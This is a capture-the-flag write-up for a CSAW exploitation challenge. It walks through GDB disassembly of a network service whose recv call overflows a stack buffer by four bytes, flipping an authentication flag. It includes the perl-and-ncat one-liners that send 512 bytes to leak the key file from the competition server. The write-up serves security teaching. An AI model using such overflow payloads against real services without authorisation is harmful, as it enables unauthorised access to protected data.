My previous experience with exploitation from the IO wargame on Smash the Stack led me to choose this challenge as my first target in the CSAW competition.
The challenge text is such:
nc 22.214.171.124 54321
Read the key out of ./key in the current working directory.
Okay, lets run the command and see what type response we get. Note: on my machine `nc’ is `ncat’ because I am using the version that comes with nmap:
$ ncat 126.96.36.199 54321 Wecome to my first CS project. Please type your name:
I’ll take that misspelling as subtle humor. This seems pretty straight forward: we give the program a specially crafted input name and it gives us the key. Time to investigate the executable.
Binary Analysis: Preliminary
$ file exploitation1-release exploitation1-release: ELF 32-bit LSB executable, Intel 80386 ...
Nothing too interesting there, but I’m happy to see it’s 32 bit (and therefore runnable on my system). Next I use the `strings’ command to extract all the referenced text strings from the program:
$ strings exploitation1-release recv strcmp ./key AAAAAAAAAAAAAAAAAAAAAAAAAA
I’ve only included the most important entries. It looks like the binary is accessing the key file, so we probably don’t have to do it. The calls to recv and strcmp are important because that’s where our input will be processed. The last string seems to be a big hint as to what we should type in. First, lets create a test key file:
$ echo "ABCDEFG" > key
Okay, lets start up the server and test our find:
and on a different terminal:
$ echo `perl -e "print 'A'x26"` | ncat 127.0.0.1 54321 Wecome to my first CS project. Please type your name: ABCDEFGAAAAAAAAAAAAAAAAAA
Wow. That was simple. Lets try it on the flag server:
$ echo `perl -e "print 'A'x26"` | ncat 188.8.131.52 54321 Wecome to my first CS project. Please type your name:
Well no joy there. It looks like the server has a different passphrase than our client. Now we need to start to debug. Before we jump in to the debugger, I want to stress test the program a little. Lets do some tests:
$ echo `perl -e "print 'B'x511"` | ncat 127.0.0.1 54321 Wecome to my first CS project. Please type your name: $ echo `perl -e "print 'B'x512"` | ncat 127.0.0.1 54321 Wecome to my first CS project. Please type your name: ABCDEFGBBB...BBB $ echo `perl -e "print 'B'x2000"` | ncat 127.0.0.1 54321 Wecome to my first CS project. Please type your name: ABCDEFGBBB...BBB Ncat: Connection reset by peer.
That misspelled welcome is starting to annoy me. So we sent 511 B’s and nothing happened. 512, on the other hand yielded us the key and 2000 was not completely read by the program, causing an improper disconnect. At this point we could call it a day and move on, but I want to know why this worked.
Binary Analysis: GDB
Lets debug the server:
(gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x08048a56 <+0>: push ebp ... 0x08048b01 <+171>: call 0x80487e0 <socket@plt> ... 0x08048bc9 <+371>: call 0x80487c0 <listen@plt> ... 0x08048c70 <+538>: call 0x8048700 <accept@plt> ... 0x08048ccb <+629>: call 0x80486a0 <printf@plt> 0x08048cd0 <+634>: call 0x8048790 <fork@plt> 0x08048cd5 <+639>: mov DWORD PTR [esp+0xf4],eax 0x08048cdc <+646>: cmp DWORD PTR [esp+0xf4],0x0 0x08048ce4 <+654>: jne 0x8048d8a <main+820> ... 0x08048d74 <+798>: mov eax,DWORD PTR [esp+0xf8] 0x08048d7b <+805>: mov DWORD PTR [esp],eax 0x08048d7e <+808>: call 0x804891d <handle> 0x08048dbf <+873>: ret End of assembler dump.
The server’s main function creates a listening socket and forks a new process when a connection is received. Handle is called for further processing on the new connection. Lets disassemble
Allocates stack space for a buffer and a sets a boolean variable to false.
(gdb) disas handle 0x0804891d <+0>: push ebp 0x0804891e <+1>: mov ebp,esp 0x08048920 <+3>: push edi 0x08048921 <+4>: push ebx 0x08048922 <+5>: sub esp,0x220 0x08048928 <+11>: mov DWORD PTR [ebp-0xc],0x0
Sends the user the input prompt and receives the response.
0x08048965 <+72>: call 0x8048830 <send@plt> 0x0804896a <+77>: mov DWORD PTR [esp+0xc],0x0 0x08048972 <+85>: mov DWORD PTR [esp+0x8],0x204 0x0804897a <+93>: lea eax,[ebp-0x20c] 0x08048980 <+99>: mov DWORD PTR [esp+0x4],eax 0x08048984 <+103>: mov eax,DWORD PTR [ebp+0x8] 0x08048987 <+106>: mov DWORD PTR [esp],eax 0x0804898a <+109>: call 0x8048810 <recv@plt>
NULL terminates the end of the buffer and compares it to the passphrase.
0x0804898f <+114>: mov BYTE PTR [ebp-0xd],0x0 0x08048993 <+118>: mov DWORD PTR [esp+0x4],0x804b078 0x0804899b <+126>: lea eax,[ebp-0x20c] 0x080489a1 <+132>: mov DWORD PTR [esp],eax 0x080489a4 <+135>: call 0x8048690 <strcmp@plt>
Checks to see if strcmp returned 0. If it did, then do not jump and set the boolean variable to true. If the boolean is false, then jump to the end.
0x080489a9 <+140>: test eax,eax 0x080489ab <+142>: jne 0x80489b4 <handle+151> 0x080489ad <+144>: mov DWORD PTR [ebp-0xc],0x1 0x080489b4 <+151>: cmp DWORD PTR [ebp-0xc],0x0 0x080489b8 <+155>: je 0x8048a41 <handle+292>
If the boolean was true, read in the key from “./key” and send it to the user.
0x080489cf <+178>: call 0x8048780 <fopen@plt> ... 0x080489f4 <+215>: call 0x80486b0 <__isoc99_fscanf@plt> 0x08048a1c <+255>: mov DWORD PTR [esp+0xc],0x0 0x08048a24 <+263>: mov DWORD PTR [esp+0x8],0x200 0x08048a2c <+271>: lea eax,[ebp-0x20c] 0x08048a32 <+277>: mov DWORD PTR [esp+0x4],eax 0x08048a36 <+281>: mov eax,DWORD PTR [ebp+0x8] 0x08048a39 <+284>: mov DWORD PTR [esp],eax 0x08048a3c <+287>: call 0x8048830 <send@plt> ... 0x08048a55 <+312>: ret
The vulnerable code is at <+109>. The recv call reads in 4 more bytes than the buffer was allocated for, therefore overwriting the boolean (ebp-0xc) determining if the passphrase was correct. Lets see this in action:
(gdb) b *0x080489b4 Breakpoint 1 at 0x80489b4: file exploitation1-release.c, line 34. (gdb) set follow-fork-mode child (gdb) run ... $ echo `perl -e "print 'A'x516"` | ncat 127.0.0.1 54321 ... (gdb) x/x $ebp-0xc 0xbfffed4c: 0x41414141
The 4 extra A’s have now overwritten $ebp-0xc.
$ echo `perl -e "print 'A'x511"` | ncat 127.0.0.1 54321 .. (gdb) x/2x $ebp-0x10 0xbfffed48: 0x00414141 0x00000000
Nothing happens. The program is safe.
$ echo `perl -e "print 'A'x512"` | ncat 127.0.0.1 54321 ... (gdb) x/2x $ebp-0x10 0xbfffed48: 0x00414141 0x0000000a
On 512 A’s, the new line that was read in from recv changed the boolean to true, therefore giving us access to the key.